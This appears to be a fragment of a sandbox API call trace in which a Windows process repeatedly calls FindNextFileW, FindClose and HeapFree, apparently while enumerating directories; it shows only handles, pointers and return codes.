1 [0061.358] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.359] FindClose (in: hFindFile=0x4280240 | out: hFindFile=0x4280240) returned 1 [0061.359] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.359] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.360] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.360] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0061.362] FindClose (in: hFindFile=0x4280400 | out: hFindFile=0x4280400) returned 1 [0061.362] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0061.362] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0061.362] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0061.362] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0061.363] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.363] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0061.363] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.364] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.379] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.379] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.379] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.379] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.379] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.379] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0061.379] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0061.379] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0061.380] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0061.545] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.545] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.545] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.545] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0061.545] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0061.545] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0061.546] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0061.549] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.549] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.613] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0061.614] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0061.753] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0061.754] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0061.755] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.755] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0061.755] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.757] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.758] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.761] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.761] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.762] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0061.764] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.764] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.796] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.796] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.796] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.796] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.796] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.796] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.799] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.799] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.800] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.800] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.800] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.800] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0061.800] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0061.800] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0061.800] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0061.800] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0061.800] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0061.801] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.801] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0061.801] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.802] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.805] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.805] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0061.805] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0061.805] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.805] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0061.805] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0061.805] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0061.806] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.806] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0061.806] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.806] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.816] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.816] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.817] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.817] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.817] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.817] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.817] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0061.817] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.817] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.817] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.817] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0061.818] FindClose (in: hFindFile=0x42802c0 | out: hFindFile=0x42802c0) returned 1 [0061.818] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0061.819] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0061.904] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0061.904] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0061.909] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0061.909] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0061.910] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0061.910] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.910] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0061.910] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.911] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.946] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.946] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.946] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0061.948] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0061.995] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.995] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.997] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.997] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0061.997] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0061.997] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0061.998] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0061.999] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.999] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.102] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.102] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.123] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.123] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.137] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.137] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.159] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.159] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.177] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0062.177] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0062.177] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0062.177] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.177] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.184] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0062.184] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0062.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0062.189] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0062.189] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0062.189] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.189] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.189] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.190] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.227] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.227] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.227] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0062.227] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.227] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.227] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.227] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.227] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.227] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.227] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.227] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.232] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.232] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0062.232] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0062.235] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.235] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.235] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0062.235] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.235] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.236] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.236] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0062.236] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0062.236] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.236] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0062.236] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0062.236] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.237] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.237] FindClose (in: hFindFile=0x4280400 | out: hFindFile=0x4280400) returned 1 [0062.238] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.238] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.238] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.238] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.238] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.238] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0062.238] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0062.238] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.238] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.249] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.249] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.249] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.249] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.249] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.249] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.283] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.283] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.283] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.283] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0062.283] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0062.284] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.284] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.291] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.291] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.308] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.308] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.309] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.309] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.309] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.309] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.313] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.313] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.314] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.314] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0062.314] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0062.314] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.314] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.318] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.318] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.322] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.322] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.322] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.322] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.322] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.322] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.323] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0062.323] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.323] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.324] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.324] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.325] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.325] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.325] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.325] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.325] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0062.325] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.326] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.326] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.326] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0062.326] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0062.326] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.327] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.394] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.394] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.420] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.420] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.420] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0062.420] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.422] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.424] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.424] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.424] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.425] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.427] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.427] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.532] 